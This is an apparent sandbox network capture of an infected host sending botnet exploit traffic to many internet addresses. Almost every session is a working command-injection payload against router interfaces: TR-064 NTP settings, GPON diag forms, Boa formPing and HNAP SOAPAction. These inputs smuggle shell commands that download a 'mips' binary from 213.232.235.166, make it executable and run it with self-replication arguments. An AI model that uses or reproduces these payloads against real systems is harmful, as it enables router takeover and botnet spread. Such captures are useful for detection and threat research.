Apr 15, 2024 08:53:01.155381918 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.13	38908	5.3.241.235	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.252954006 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:01.603702068 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:53:00 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.13	60404	138.4.211.90	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.458405018 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.008429050 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:04.832427025 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.13	57770	50.40.105.187	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.463299990 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.13	48990	170.253.58.182	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.467726946 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.13	50428	99.239.94.111	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.470465899 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.13	54320	213.188.193.170	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.615874052 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.13	57836	50.40.105.187	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.677956104 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.13	59376	35.141.47.175	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.691056013 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.13	54424	75.187.139.165	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.696918964 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.13	53768	65.31.156.182	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.699050903 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.13	50494	99.239.94.111	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.704704046 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.13	56084	97.108.139.103	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.707210064 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.13	54336	213.188.193.170	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.768697023 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.13	59390	35.141.47.175	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.918998957 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.13	53784	65.31.156.182	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.929172039 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.13	54436	75.187.139.165	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.937403917 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.13	56106	97.108.139.103	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.949210882 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.13	59784	188.234.22.65	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:01.966247082 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:02.316777945 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:53:01 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.13	59800	188.234.22.65	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:02.300592899 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:02.636986017 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:53:02 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.13	56176	14.139.134.11	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:02.395612955 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.13	60110	109.2.138.213	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:02.770498037 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:03.069411993 CEST	138	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.13	50612	62.101.46.172	80

Timestamp	Bytes transferred	Direction	Data
